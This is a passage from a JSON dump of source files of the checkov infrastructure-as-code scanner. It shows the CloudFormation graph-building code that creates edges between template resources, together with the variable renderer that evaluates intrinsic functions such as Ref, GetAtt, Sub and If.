breadcrumbs_list in vertex.changed_attributes.items():\n                hash_breadcrumbs = []\n                for breadcrumb in breadcrumbs_list:\n                    breadcrumb_data = self.vertices[breadcrumb.vertex_id].get_export_data()\n                    breadcrumb_data['attribute_key'] = breadcrumb.attribute_key\n                    hash_breadcrumbs.append(breadcrumb_data)\n                vertex.breadcrumbs[attribute_key] = hash_breadcrumbs\n\n    def _add_resource_attr_connections(self, attribute: str) -> None:\n        if attribute not in self.SUPPORTED_RESOURCE_ATTR_CONNECTION_KEYS:\n            return\n        for origin_node_index, vertex in enumerate(self.vertices):\n            if vertex.block_type == BlockType.RESOURCE:\n                vertex_path = vertex.path\n                vertex_name = vertex.name.split('.')[-1]\n                target_ids = self.definitions.get(vertex_path, {}) \\\n                    .get(TemplateSections.RESOURCES.value, {}).get(vertex_name, {}).get(attribute, None)\n                target_ids = [target_ids] if isinstance(target_ids, str) else target_ids\n                if isinstance(target_ids, list):\n                    for target_id in target_ids:\n                        if isinstance(target_id, str):\n                            dest_vertex_index = self._vertices_indexes.get(vertex_path, {}).get(target_id, None)\n                            if dest_vertex_index is not None:\n                                self._create_edge(origin_node_index, dest_vertex_index, label=attribute)\n                        else:\n                            logging.debug(\n                                f\"[CloudformationLocalGraph] did not create edge for target_id {target_id}\"\n                                f\"and vertex_path {vertex_path} as target_id is not a string\"\n                            )\n                else:\n                    logging.debug(\n                        f\"[CloudformationLocalGraph] did not create edge for target_ids {target_ids}\"\n                        f\"and vertex_path {vertex_path} as target_ids is not a list\"\n                    )\n\n    def _extract_source_value_attrs(self, matching_path: list[Any]) -> tuple[str, Any, list[Any]]:\n        \"\"\" matching_path for Resource = [template_section, source_id, 'Properties', ... , key, value]\n         matching_path otherwise = # matching_path for Resource = [template_section, source_id, ... , key, value]\n         key = a member of SUPPORTED_FN_CONNECTION_KEYS \"\"\"\n        template_section = matching_path[0]\n        source_id = matching_path[1]\n        value = matching_path[-1]\n        attrs_starting_index = 3 if template_section == TemplateSections.RESOURCES else 2\n        attributes = matching_path[attrs_starting_index:-2]\n        return source_id, value, attributes\n\n    def _add_fn_connections(self, key: str) -> None:\n        if key not in self.SUPPORTED_FN_CONNECTION_KEYS:\n            return\n        extract_target_id_func = self._connection_key_func.get(key, None)\n        if not ismethod(extract_target_id_func):\n            return\n\n        for file_path, cfndict in self.definitions.items():\n            matching_paths = self.search_deep_keys(key, cfndict)\n            for matching_path in matching_paths:\n                source_id, value, attributes = self._extract_source_value_attrs(matching_path)\n                target_id = extract_target_id_func(cfndict, value)\n                if target_id:\n                    origin_vertex_index, dest_vertex_index, label = self._extract_origin_dest_label(\n                        file_path, source_id, target_id, attributes)\n                    if origin_vertex_index is not None and dest_vertex_index is not None:\n                        self._create_edge(origin_vertex_index, dest_vertex_index, label)\n\n    def search_deep_keys(self, searchText: str, cfndict: dict[str, Any], includeGlobals: bool = True) -> list[list[Any]]:\n        \"\"\"\n            Search for a key in all parts of the template.\n            :return if searchText is \"Ref\", an array like ['Resources', 'myInstance', 'Properties', 'ImageId', 'Ref', 'Ec2ImageId']\n        \"\"\"\n        logging.debug(f'Search for key {searchText} as far down as the template goes')\n\n        results: \"list[list[int | str]]\" = []\n        results.extend(search_deep_keys(searchText, cfndict, []))\n        # Globals are removed during a transform.  They need to be checked manually\n        if includeGlobals:\n            cfn_globals: \"dict[str, Any] | None\" = self.transform_pre.get('Globals')\n            pre_results = search_deep_keys(searchText, cfn_globals, [])\n            for pre_result in pre_results:\n                results.append(['Globals', *pre_result])\n        return results\n\n    def _fetch_if_target_id(self, cfndict: dict[str, Any], value: Any) -> Optional[int]:\n        target_id = None\n        # value = [condition_name, value_if_true, value_if_false]\n        if isinstance(value, list) and len(value) == 3 and (self._is_of_type(cfndict, value[0], TemplateSections.CONDITIONS)):\n            target_id = value[0]\n        return target_id\n\n    def _fetch_getatt_target_id(self, cfndict: dict[str, Any], value: Any) -> Optional[int]:\n        \"\"\" might be one of the 2 following notations:\n         1st: { \"Fn::GetAtt\" : [ \"logicalNameOfResource\", \"attributeName\" ] }\n         2nd: { \"!GetAtt\" : \"logicalNameOfResource.attributeName\" } \"\"\"\n        target_id = None\n\n        # Fn::GetAtt notation\n        if isinstance(value, list) and len(value) == 2 and (self._is_of_type(cfndict, value[0], TemplateSections.RESOURCES)):\n            target_id = value[0]\n\n        # !GetAtt notation\n        if isinstance(value, str) and '.' in value:\n            resource_id = value.split('.')[0]\n            if self._is_of_type(cfndict, resource_id, TemplateSections.RESOURCES):\n                target_id = resource_id\n\n        return target_id\n\n    def _fetch_ref_target_id(self, cfndict: dict[str, Any], value: Any) -> int | str | None:\n        target_id = None\n        # value might be a string or a list of strings\n        if isinstance(value, (str, int)) \\\n                and (self._is_of_type(cfndict, value, TemplateSections.RESOURCES, TemplateSections.PARAMETERS)):\n            target_id = value\n        return target_id\n\n    def _fetch_connection_target_id(self, cfndict: dict[str, Any], value: Any) -> int | str | None:\n        target_id = None\n        # value might be a string or a list of strings\n        if isinstance(value, (str, int)) \\\n                and (self._is_of_type(cfndict, value, TemplateSections.CONDITIONS)):\n            target_id = value\n        return target_id\n\n    def _fetch_findinmap_target_id(self, cfndict: dict[str, Any], value: Any) -> Optional[int]:\n        target_id = None\n        # value = [ MapName, TopLevelKey, SecondLevelKey ]\n        if isinstance(value, list) and len(value) == 3 and (self._is_of_type(cfndict, value[0], TemplateSections.MAPPINGS)):\n            target_id = value[0]\n        return target_id\n\n    def _add_fn_sub_connections(self) -> None:\n        for file_path, cfndict in self.definitions.items():\n            # add edges for \"Fn::Sub\" tags. E.g. { \"Fn::Sub\": \"arn:aws:ec2:${AWS::Region}:${AWS::AccountId}:vpc/${vpc}\" }\n            sub_objs = self.search_deep_keys(IntrinsicFunctions.SUB, cfndict)\n            for sub_obj in sub_objs:\n                sub_parameters = []\n                sub_parameter_values = {}\n                source_id, value, attributes = self._extract_source_value_attrs(sub_obj)\n\n                if isinstance(value, list):\n                    if not value:\n                        continue\n                    if len(value) == 2:\n                        sub_parameter_values = value[1]\n                    sub_parameters = self._find_fn_sub_parameter(value[0])\n                elif isinstance(value, str):\n                    sub_parameters = self._find_fn_sub_parameter(value)\n\n                for sub_parameter in sub_parameters:\n                    if sub_parameter not in sub_parameter_values:\n                        if '.' in sub_parameter:\n                            sub_parameter = sub_parameter.split('.')[0]\n                        origin_vertex_index, dest_vertex_index, label = self._extract_origin_dest_label(\n                            file_path, source_id, sub_parameter, attributes)\n                        if origin_vertex_index is not None and dest_vertex_index is not None:\n                            self._create_edge(origin_vertex_index, dest_vertex_index, label)\n\n    def _extract_origin_dest_label(\n        self, file_path: str, source_id: str, target_id: str, attributes: list[Any]\n    ) -> tuple[int | None, int | None, str]:\n        origin_vertex_index = self._vertices_indexes.get(file_path, {}).get(source_id, None)\n        dest_vertex_index = self._vertices_indexes.get(file_path, {}).get(target_id, None)\n        attributes_joined = '.'.join(map(str, attributes))  # mapping all attributes to str because one of the attrs might be an int\n        return origin_vertex_index, dest_vertex_index, attributes_joined\n\n    @staticmethod\n    def _find_fn_sub_parameter(string: str) -> list[str]:\n        \"\"\"Search string for tokenized fields\"\"\"\n        try:\n            return TOKENIZED_FIELD_PATTERN.findall(string)\n        except Exception as e:\n            logging.warning(f'cant find fn sub parameter for: {string}, error: {str(e)}')\n            return []\n\n    def _fill_in_out_edges(self) -> None:\n        for i in range(len(self.vertices)):\n            if i not in self.in_edges:\n                self.in_edges[i] = []\n            if i not in self.out_edges:\n                self.out_edges[i] = []\n\n    def get_resources_types_in_graph(self) -> List[str]:\n        return []\n\n    def _create_edges(self) -> None:\n        self._add_resource_attr_connections(ResourceAttributes.DEPENDS_ON)\n        self._add_resource_attr_connections(IntrinsicFunctions.CONDITION)\n        self._add_fn_connections(IntrinsicFunctions.CONDITION)\n        self._add_fn_connections(IntrinsicFunctions.GET_ATT)\n        self._add_fn_connections(ConditionFunctions.IF)\n        self._add_fn_connections(IntrinsicFunctions.REF)\n        self._add_fn_connections(IntrinsicFunctions.FIND_IN_MAP)\n        self._add_fn_sub_connections()\n        self._fill_in_out_edges()\n\n    def _create_edge(self, origin_vertex_index: int, dest_vertex_index: int, label: str) -> None:\n        if origin_vertex_index == dest_vertex_index or not label:\n            return\n        edge = Edge(origin_vertex_index, dest_vertex_index, label)\n        if edge not in self._edges_set:\n            self._edges_set.add(edge)\n            self.edges.append(edge)\n            self.out_edges[origin_vertex_index].append(edge)\n            self.in_edges[dest_vertex_index].append(edge)\n\n    @staticmethod\n    def _is_of_type(cfndict: dict[str, Any], identifier: Any, *template_sections: TemplateSections) -> bool:\n        if isinstance(identifier, str):\n            for ts in template_sections:\n                ts_var = cfndict.get(ts, {})\n                if ts_var is None:\n                    continue\n                if ts_var.get(identifier):\n                    return True\n        return False\n\n    def update_vertices_configs(self) -> None:\n        for vertex in self.vertices:\n            changed_attributes = list(vertex.changed_attributes.keys())\n            if changed_attributes:\n                self.update_vertex_config(vertex, changed_attributes)\n\n    @staticmethod\n    def update_vertex_config(\n        vertex: Block, changed_attributes: list[str] | dict[str, Any], dynamic_blocks: bool = False\n    ) -> None:\n        if not changed_attributes:\n            return\n\n        if not isinstance(vertex.config, dict):\n            return\n\n        updated_config = pickle_deepcopy(vertex.config)\n        if isinstance(changed_attributes, dict):\n            attributes_to_update = list(changed_attributes.keys())\n        else:\n            attributes_to_update = changed_attributes\n\n        attributes_to_update = filter_sub_keys(attributes_to_update)\n\n        for attribute in attributes_to_update:\n            if attribute not in vertex.attributes:\n                continue\n\n            new_value = vertex.attributes[attribute]\n            update_dictionary_attribute(updated_config, attribute, new_value)\n\n        vertex.config = updated_config\n\n\ndef get_only_dict_items(origin_dict: Union[Dict[str, Any], Any]) -> Dict[str, Dict[str, Any]]:\n    if not isinstance(origin_dict, dict):\n        return {}\n    return {key: value for key, value in origin_dict.items() if isinstance(value, dict)}\n"
  },
  {
    "path": "checkov/cloudformation/graph_builder/utils.py",
    "content": "import re\nfrom typing import Union, List, Dict\n\nfrom checkov.cloudformation.graph_builder.variable_rendering.vertex_reference import CloudformationVertexReference\nfrom checkov.cloudformation.parser.cfn_keywords import IntrinsicFunctions\n\nREMOVE_INTERPOLATION_PATTERN = re.compile(\"[${}]\")\nFIND_INTERPOLATION_PATTERN = re.compile(r\"\\${([a-zA-Z0-9.]*?)}\")\nGLOBALS_RESOURCE_TYPE_MAP = {\n    \"Function\": \"AWS::Serverless::Function\",\n    \"Api\": \"AWS::Serverless::Api\",\n    \"HttpApi\": \"AWS::Serverless::HttpApi\",\n    \"SimpleTable\": \"AWS::Serverless::SimpleTable\",\n}\n\n\ndef get_vertices_references(str_value: str, vertices_block_name_map: Dict[str, Dict[str, List[int]]]) -> List[CloudformationVertexReference]:\n    vertices_references = []\n    words_in_str_value = str_value.split()\n    for word in words_in_str_value:\n        word_sub_parts = word.split(\".\")\n        suspected_block = word_sub_parts[0]\n        for block_type, blocks_dict in vertices_block_name_map.items():\n            if suspected_block in blocks_dict:\n                vertex_reference = CloudformationVertexReference(\n                    block_type=block_type, sub_parts=word_sub_parts, origin_value=suspected_block\n                )\n                if vertex_reference not in vertices_references:\n                    vertices_references.append(vertex_reference)\n                break\n    return vertices_references\n\n\ndef remove_interpolation(str_value: str, replace_str: str = \" \") -> str:\n    if \"${\" not in str_value:\n        # otherwise it is not an interpolation\n        return str_value\n    return re.sub(REMOVE_INTERPOLATION_PATTERN, replace_str, str_value)\n\n\ndef find_all_interpolations(str_value: str) -> List[str]:\n    return re.findall(FIND_INTERPOLATION_PATTERN, str_value)\n\n\ndef get_referenced_vertices_in_value(\n    value: Union[str, List[str], Dict[str, str]],\n    vertices_block_name_map: Dict[str, Dict[str, List[int]]],\n) -> List[CloudformationVertexReference]:\n    references_vertices = []\n\n    if isinstance(value, list):\n        for sub_value in value:\n            references_vertices += get_referenced_vertices_in_value(\n                sub_value, vertices_block_name_map\n            )\n\n    if isinstance(value, dict):\n        for key, sub_value in value.items():\n            if key == IntrinsicFunctions.GET_ATT:\n                sub_value = '.'.join(sub_value) if \\\n                    isinstance(sub_value, list) and all(isinstance(s, str) for s in sub_value) else sub_value\n            references_vertices += get_referenced_vertices_in_value(\n                sub_value, vertices_block_name_map\n            )\n\n    if isinstance(value, str):\n        value = remove_interpolation(value)\n        references_vertices = get_vertices_references(value, vertices_block_name_map)\n\n    return references_vertices\n"
  },
  {
    "path": "checkov/cloudformation/graph_builder/variable_rendering/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/cloudformation/graph_builder/variable_rendering/renderer.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nfrom typing import TYPE_CHECKING, Tuple, List, Any, Dict, Optional, Callable, TypedDict\n\nfrom checkov.cloudformation.graph_builder.graph_components.block_types import BlockType\nfrom checkov.cloudformation.graph_builder.utils import get_referenced_vertices_in_value, find_all_interpolations\nfrom checkov.cloudformation.graph_builder.variable_rendering.vertex_reference import VertexReference\nfrom checkov.cloudformation.parser.cfn_keywords import IntrinsicFunctions, ConditionFunctions, PseudoParameters\nfrom checkov.common.graph.graph_builder import Edge, CustomAttributes\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\nfrom checkov.common.graph.graph_builder.variable_rendering.renderer import VariableRenderer\nfrom checkov.common.parsers.node import StrNode\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\nif TYPE_CHECKING:\n    from checkov.cloudformation.graph_builder.graph_components.blocks import CloudformationBlock\n    from checkov.cloudformation.graph_builder.local_graph import CloudformationLocalGraph\n    from typing_extensions import TypeAlias\n\n_EdgeEvaluationMethodsEntry: TypeAlias = \"dict[str, Callable[[Any, dict[str, Any]], tuple[str | None, str | None]]]\"\n_VertexEvaluationMethodsEntry: TypeAlias = \"dict[str, Callable[[Any], str | None]]\"\n\n\nclass _EvaluatedEdge(TypedDict):\n    vertex_index: int\n    attribute_key: str\n    attribute_value: Any\n    change_origin_id: int | None\n    attribute_at_dest: str | None\n\n\nclass CloudformationVariableRenderer(VariableRenderer[\"CloudformationLocalGraph\"]):\n    EDGE_EVALUATION_CFN_FUNCTIONS = (\n        IntrinsicFunctions.REF, IntrinsicFunctions.FIND_IN_MAP, IntrinsicFunctions.GET_ATT,\n        IntrinsicFunctions.SUB, ConditionFunctions.IF)\n    VERTEX_EVALUATION_CFN_FUNCTIONS = (IntrinsicFunctions.SELECT, IntrinsicFunctions.JOIN)\n    CONDITIONS_EVALUATED_FUNCTIONS = (ConditionFunctions.OR, ConditionFunctions.AND, ConditionFunctions.EQUALS,\n                                      ConditionFunctions.NOT, IntrinsicFunctions.CONDITION)\n\n    def __init__(self, local_graph: \"CloudformationLocalGraph\") -> None:\n        super().__init__(local_graph)\n        self.edge_evaluation_methods: _EdgeEvaluationMethodsEntry = {\n            IntrinsicFunctions.REF: self._evaluate_ref_connection,\n            IntrinsicFunctions.FIND_IN_MAP: self._evaluate_findinmap_connection,\n            IntrinsicFunctions.GET_ATT: self._evaluate_getatt_connection,\n            IntrinsicFunctions.SUB: self._evaluate_sub_connection\n        }\n        self.vertex_evaluation_methods: \"dict[str, Callable[[Any], str | None]]\" = {\n            IntrinsicFunctions.SELECT: self._evaluate_select_function,\n            IntrinsicFunctions.JOIN: self._evaluate_join_function\n        }\n        self.vertices_block_name_map = self._extract_vertices_block_name_map()\n\n    \"\"\"\n     This method will evaluate Ref, Fn::FindInMap, Fn::GetAtt, Fn::Sub\n    \"\"\"\n\n    def evaluate_vertex_attribute_from_edge(self, edge_list: List[Edge]) -> None:\n        edge = edge_list[0]\n        origin_vertex = self.local_graph.vertices[edge.origin]\n        origin_vertex_attributes = origin_vertex.attributes\n        val_to_eval = pickle_deepcopy(origin_vertex_attributes.get(edge.label, \"\"))\n\n        referenced_vertices = get_referenced_vertices_in_value(\n            value=val_to_eval, vertices_block_name_map=self.vertices_block_name_map\n        )\n        if not referenced_vertices:\n            # DependsOn or Condition connections\n            self._handle_dependson_condition_connections(edge, origin_vertex)\n        elif isinstance(val_to_eval, dict):\n            self._handle_edge_list_evaluation_functions(edge_list, origin_vertex, val_to_eval)\n\n    \"\"\"\n        This method will evaluate Fn::Select, Fn::Join\n    \"\"\"\n\n    def _render_variables_from_vertices(self) -> None:\n        for vertex in self.local_graph.vertices:\n            vertex_attributes = pickle_deepcopy(vertex.attributes)\n            for attr_key, attr_value in vertex_attributes.items():\n                # Iterating on Fn::Join, Fn::Select and checking if they are\n                # in the current attribute value\n                cfn_evaluation_function = next(\n                    (curr_evaluation_function\n                     for curr_evaluation_function in self.VERTEX_EVALUATION_CFN_FUNCTIONS\n                     if isinstance(attr_value, dict) and curr_evaluation_function in attr_value),\n                    None\n                )\n                if cfn_evaluation_function:\n                    # Found Fn::Join or Fn::Select to evaluate\n                    val_to_eval = attr_value[cfn_evaluation_function]\n                    evaluated_value = self.vertex_evaluation_methods[cfn_evaluation_function](val_to_eval)\n                    if evaluated_value is not None:\n                        vertex.update_attribute(\n                            attribute_key=attr_key, attribute_value=evaluated_value, change_origin_id=None,\n                            previous_breadcrumbs=[], attribute_at_dest=None\n                        )\n\n    \"\"\"\n    Valid value for the Select function is:\n    [index, [item1, item2, ...]]\n    while index could an int or a string representing an int\n    and the list could be a list or a string representing a list\n    \"\"\"\n\n    @staticmethod\n    def _evaluate_select_function(value: list[int | str | list[str]]) -> Optional[str]:\n        evaluated_value = None\n        if len(value) != 2:\n            return None\n\n        idx_to_select = value[0]\n        if not isinstance(idx_to_select, (int, str)):\n            return None\n\n        selection_list = value[1]\n        if not isinstance(selection_list, (str, list)):\n            return None\n\n        if isinstance(selection_list, str):\n            selection_list = selection_list.split(', ')\n        # convert idx_to_select to int if possible because it might be a str_node\n        if isinstance(idx_to_select, str) and str.isdecimal(idx_to_select):\n            idx_to_select = int(idx_to_select)\n        if isinstance(idx_to_select, int) and isinstance(selection_list, list) \\\n                and 0 <= idx_to_select < len(selection_list):\n            evaluated_value = selection_list[idx_to_select]\n            if 'Fn::' in evaluated_value or \"AWS::\" in evaluated_value or 'Ref' in evaluated_value:\n                # Don't render if a non-evaluated value has been selected\n                return None\n        return evaluated_value\n\n    \"\"\"\n        Valid value for the Join function is:\n        [ delimiter, [ comma-delimited list of values ] ]\n        the list could be a list or a string representing a list\n        \"\"\"\n\n    @staticmethod\n    def _evaluate_join_function(value: list[str | list[str]]) -> Optional[str]:\n        evaluated_value = None\n        if len(value) != 2:\n            return None\n        delimiter = value[0]\n        values_list = value[1]\n        if not isinstance(values_list, (str, list)):\n            return None\n        if isinstance(values_list, str):\n            values_list = values_list.split(', ')\n        for inner_value in values_list:\n            if not isinstance(inner_value, str):\n                return None\n        if isinstance(delimiter, str) and isinstance(values_list, list):\n            for curr_value in values_list:\n                if isinstance(curr_value, dict):\n                    # non-evaluated values then don't render\n                    return None\n            evaluated_value = delimiter.join(values_list)\n        return evaluated_value\n\n    @staticmethod\n    def _evaluate_ref_connection(value: Any, dest_vertex_attributes: Dict[str, Any]) -> tuple[str | None, str | None]:\n        # in case of Ref we take only Parameter's default value\n        attribute_at_dest = 'Default'\n        evaluated_value = dest_vertex_attributes.get(attribute_at_dest)\n        if (\n                evaluated_value is not None and\n                value == dest_vertex_attributes.get(CustomAttributes.BLOCK_NAME) and\n                dest_vertex_attributes.get(CustomAttributes.BLOCK_TYPE) == BlockType.PARAMETERS\n        ):\n            return str(evaluated_value), attribute_at_dest\n        return None, None\n\n    def _fetch_vertex_attributes(self, block_name: str, block_type: str) -> dict[str, Any] | None:\n        vertex_attributes = None\n        vertex_index_list = self.local_graph.vertices_block_name_map.get(block_type, {}).get(block_name, None)\n        if isinstance(vertex_index_list, list):\n            vertex_index = vertex_index_list[0]\n            vertex_attributes = self.local_graph.get_vertex_attributes_by_index(vertex_index)\n        return vertex_attributes\n\n    def _evaluate_condition_by_name(self, condition_name: str) -> Optional[bool]:\n        \"\"\"\n        Evaluate CFN condition by the condition name.\n        This method simply fetches the vertex from the local graph by the condition name,\n        and calls the method _evaluate_condition_by_vertex_attributes\n        \"\"\"\n\n        evaluated_condition = None\n        condition_vertex_attributes = self._fetch_vertex_attributes(condition_name, BlockType.CONDITIONS)\n        if condition_vertex_attributes:\n            evaluated_condition = self._evaluate_condition_by_vertex_attributes(condition_vertex_attributes)\n        return evaluated_condition\n\n    def _evaluate_condition_by_vertex_attributes(self, vertex_attributes: Dict[str, Any]) -> Optional[bool]:\n        \"\"\"\n        Evaluate CFN vertex condition by the vertex's attributes.\n        This method searches for a condition function in the attributes, and when found,\n        calls the method _evaluate_condition with the condition found and its value to evaluate\n        \"\"\"\n\n        condition_to_evaluate, value_to_evaluate = next(\n            ((current_condition_function, vertex_attributes[current_condition_function])\n             for current_condition_function in self.CONDITIONS_EVALUATED_FUNCTIONS\n             if current_condition_function in vertex_attributes),\n            (None, None))\n\n        return self._evaluate_condition(condition_to_evaluate, value_to_evaluate)\n\n    def _evaluate_condition(self, condition_fn: str | None, value: Any) -> Optional[bool]:\n        \"\"\"\n        Evaluate CFN condition function's value\n        Examples\n        --------\n        _evaluate_condition('Fn::Equals', ['test', 'prod']) -> False\n        _evaluate_condition('Fn::Not', {'Fn::Equals': ['test', 'prod']}) -> True\n        _evaluate_condition('Fn::Not', {'Fn::Equals': ['test', 'prod']}) -> True\n        _evaluate_condition('Fn::Or', [{'Fn::Equals': ['parameter1name', 'parameter1name']}, {'Fn::Equals': ['parameter2name', 'wrongname']}] -> True\n        _evaluate_condition('Condition', 'IsProduction'] -> True\n        \"\"\"\n\n        if condition_fn == IntrinsicFunctions.CONDITION:\n            return self._evaluate_condition_by_name(value)\n        elif condition_fn == ConditionFunctions.EQUALS:\n            if isinstance(value, list) and len(value) == 2 and isinstance(value[0], str) and isinstance(value[1], str):\n                return value[0] == value[1]\n        elif condition_fn == ConditionFunctions.NOT:\n            evaluated_condition = self._fetch_condition_dict(value)\n            if isinstance(evaluated_condition, bool):\n                return not evaluated_condition\n        elif condition_fn == ConditionFunctions.AND and isinstance(value, list) and len(value) == 2:\n            operand1 = self._fetch_condition_dict(value[0])\n            operand2 = self._fetch_condition_dict(value[1])\n            if isinstance(operand1, bool) and isinstance(operand2, bool):\n                return operand1 and operand2\n        elif condition_fn == ConditionFunctions.OR and isinstance(value, list) and len(value) == 2:\n            operand1 = self._fetch_condition_dict(value[0])\n            operand2 = self._fetch_condition_dict(value[1])\n            if isinstance(operand1, bool) and isinstance(operand2, bool):\n                return operand1 or operand2\n        return None  # failed to evaluate the condition\n\n    def _fetch_condition_dict(self, condition_dict: Dict[str, Any]) -> Optional[bool]:\n        \"\"\"\n        Evaluate a condition dict of fn and value. This method basically receives a complex parameter which is a dict of\n        a CFN fn and its value to evaluate, extracts them and calls _evaluate_condition for evaluation\n        Examples\n        --------\n        _fetch_condition_operand_value({'Fn::Equals': ['parameter1name', 'parameter1name']}) -> True\n        _fetch_condition_operand_value({'Fn::Equals': ['parameter1name', 'wrongname'], '__startline__': 144, '__endline__': 151}) -> False\n        _fetch_condition_operand_value({'Condition': 'IsProduction', '__startline__': 109, '__endline__': 111}) -> True\n        _fetch_condition_operand_value({'Condition': 'IsDevelop'}] -> False\n        \"\"\"\n\n        if isinstance(condition_dict, dict):\n            inner_condition, inner_value = next(\n                ((current_condition_function, condition_dict[current_condition_function])\n                 for current_condition_function in self.CONDITIONS_EVALUATED_FUNCTIONS\n                 if current_condition_function in condition_dict),\n                (None, None))\n            if inner_condition and inner_value:\n                return self._evaluate_condition(inner_condition, inner_value)\n        return None\n\n    @staticmethod\n    def _evaluate_findinmap_connection(\n        value: Any, dest_vertex_attributes: Dict[str, Any]\n    ) -> tuple[str | None, str | None]:\n        # value = [ \"MapName\", \"TopLevelKey\", \"SecondLevelKey\"]\n        if isinstance(value, list) and len(value) == 3:\n            map_name = value[0]\n            top_level_key = value[1]\n            second_level_key = value[2]\n            attribute_at_dest = f'{top_level_key}.{second_level_key}'\n            evaluated_value = dest_vertex_attributes.get(attribute_at_dest)\n\n            if evaluated_value and \\\n                    all(isinstance(element, str) for element in value) and \\\n                    map_name == dest_vertex_attributes.get(CustomAttributes.BLOCK_NAME) and \\\n                    dest_vertex_attributes.get(CustomAttributes.BLOCK_TYPE) == BlockType.MAPPINGS:\n                return str(evaluated_value), attribute_at_dest\n\n        return None, None\n\n    @staticmethod\n    def _evaluate_getatt_connection(\n        value: Any, dest_vertex_attributes: Dict[str, Any]\n    ) -> tuple[str | None, str | None]:\n        # value = [ \"logicalNameOfResource\", \"attributeName\" ]\n        try:\n            if isinstance(value, list) and len(value) == 2:\n                resource_name = value[0]\n                attribute_at_dest = value[1]\n                dest_name = dest_vertex_attributes[CustomAttributes.BLOCK_NAME].split('.')[-1]\n                evaluated_value = dest_vertex_attributes.get(\n                    attribute_at_dest)  # we extract only build time atts, not runtime\n\n                if evaluated_value and \\\n                        all(isinstance(element, str) for element in value) and \\\n                        resource_name == dest_name and \\\n                        dest_vertex_attributes.get(CustomAttributes.BLOCK_TYPE) == BlockType.RESOURCE:\n                    return str(evaluated_value), attribute_at_dest\n        except TypeError as e:\n            logging.debug(f\"unable to _evaluate_getatt_connection: {e}\")\n\n        return None, None\n\n    def _evaluate_sub_connection(\n        self, value: Any, dest_vertex_attributes: Dict[str, Any]\n    ) -> tuple[str | None, str | None]:\n        if isinstance(value, (list, dict)):\n            # TODO: Render values of list/dict types\n            return None, None\n        evaluated_value = None\n        attribute_at_dest = None\n\n        # value = '..${ref/getatt}..${ref/getatt}..${ref/getatt}..'\n        block_name = dest_vertex_attributes.get(CustomAttributes.BLOCK_NAME, '')\n        block_type = dest_vertex_attributes.get(CustomAttributes.BLOCK_TYPE, '')\n        if block_type == BlockType.RESOURCE and isinstance(block_name, str):\n            block_name = block_name.split('.')[-1]\n\n        vars_set = set(find_all_interpolations(value))  # a list of parameters and resources.at.attribute\n        vars_list = [var for var in vars_set if block_name in var]  # get only relevant interpolations\n\n        if block_type == BlockType.PARAMETERS:\n            block_evaluated_value, block_attribute = self._evaluate_ref_connection(block_name, dest_vertex_attributes)\n            if block_evaluated_value:\n                evaluated_value = value.replace(f'${{{block_name}}}', block_evaluated_value)\n                attribute_at_dest = block_attribute\n                evaluated_value = evaluated_value if evaluated_value else value\n        elif block_type == BlockType.RESOURCE and block_name:\n            for var in vars_list:\n                split_var = var.split('.')\n                block_evaluated_value, block_attribute = self._evaluate_getatt_connection(split_var,\n                                                                                          dest_vertex_attributes)\n                if block_evaluated_value:\n                    evaluated_value = value.replace(f'${{{var}}}', block_evaluated_value)\n                    attribute_at_dest = block_attribute\n                    evaluated_value = evaluated_value if evaluated_value else value\n\n        return evaluated_value, attribute_at_dest\n\n    def _evaluate_if_connection(\n        self, value: List[str], condition_vertex_attributes: Dict[str, Any]\n    ) -> tuple[str | None, str | None]:\n        \"\"\"\n        Evaluate a Condition Function IF.\n        This method receives 2 parameters:\n         value: a value to evaluate, e.g. [ConditionName, OperandIfTrue, OperandIfFalse]\n         condition_vertex_attributes: the attributes of the ConditionName vertex\n        The response is composed of the evaluated value and the hierarchy in case of nested Fn:Ifs functions,\n        so later we can check if it used to be a Parameter of a literal string and so update the breadcrumbs\n        Examples\n        --------\n        _fetch_condition_operand_value(['CreateProdResources', 'c1.xlarge', 'm1.large'], {...CreateProdResources vertex attributes...}) -> c1.xlarge if CreateProdResources is true, otherwise m1.large\n        _fetch_condition_operand_value(['CreateProdResources', 'c1.xlarge', {'Fn::If': ['CreateDevResources', 'm1.large', 'm1.small']}]) -> If CreateProdResoruces if false & CreateDevResources if true then m1.large\n        \"\"\"\n\n        evaluated_condition, evaluated_value, evaluated_value_hierarchy = (None, None, None)\n        try:\n            condition_name = value[0]\n            operand_if_true = value[1]\n            operand_if_false = value[2]\n        except KeyError:\n            logging.info(f'Unexpected input for cfn if evaluation: {value}. '\n                         f'Template: {condition_vertex_attributes[CustomAttributes.FILE_PATH]}'\n                         f'Block: {condition_vertex_attributes[CustomAttributes.BLOCK_NAME]}')\n            return evaluated_value, evaluated_value_hierarchy\n\n        # First, we evaluate the ConditionName\n        if isinstance(condition_name, str) and\\\n                condition_name == condition_vertex_attributes.get(CustomAttributes.BLOCK_NAME) and \\\n                condition_vertex_attributes.get(CustomAttributes.BLOCK_TYPE) == BlockType.CONDITIONS:\n            evaluated_condition = self._evaluate_condition_by_name(condition_name)\n\n        # After we evaluate ConditionName, we fetch OperandIfTrue or OperandIfFalse (according to the result)\n        if isinstance(evaluated_condition, bool):\n            (operand_index, operand_to_eval) = (1, operand_if_true) if evaluated_condition else (2, operand_if_false)\n\n            if isinstance(operand_to_eval, str):\n                # The operand is a simple string\n                evaluated_value = operand_to_eval\n                evaluated_value_hierarchy = str(operand_index)\n            elif isinstance(operand_to_eval, dict):\n                if ConditionFunctions.IF in operand_to_eval:\n                    # The operand is {'Fn::If': new value to evaluate}\n                    condition_to_eval = operand_to_eval[ConditionFunctions.IF]\n                    if isinstance(condition_to_eval, list) and isinstance(condition_to_eval[0], str):\n                        condition_vertex_attributes = self._fetch_vertex_attributes(condition_to_eval[0], BlockType.CONDITIONS)\n                        evaluated_value, evaluated_value_operand_index = self._evaluate_if_connection(condition_to_eval, condition_vertex_attributes)\n                        evaluated_value_hierarchy = f'{operand_index}.{ConditionFunctions.IF}.{evaluated_value_operand_index}'\n                elif not any([op for op in self.CONDITIONS_EVALUATED_FUNCTIONS if op in operand_to_eval]):\n                    # The operand is a dict without any further actions to perform\n                    evaluated_value = operand_to_eval\n\n        return evaluated_value, evaluated_value_hierarchy\n\n    @staticmethod\n    def find_path_from_referenced_vertices(\n            referenced_vertices: List[VertexReference], vertex_attributes: Dict[str, Any]\n    ) -> Tuple[List[str], str]:\n        \"\"\"\n        :param referenced_vertices: an array of VertexReference\n        :param vertex_attributes: attributes to search\n        :return 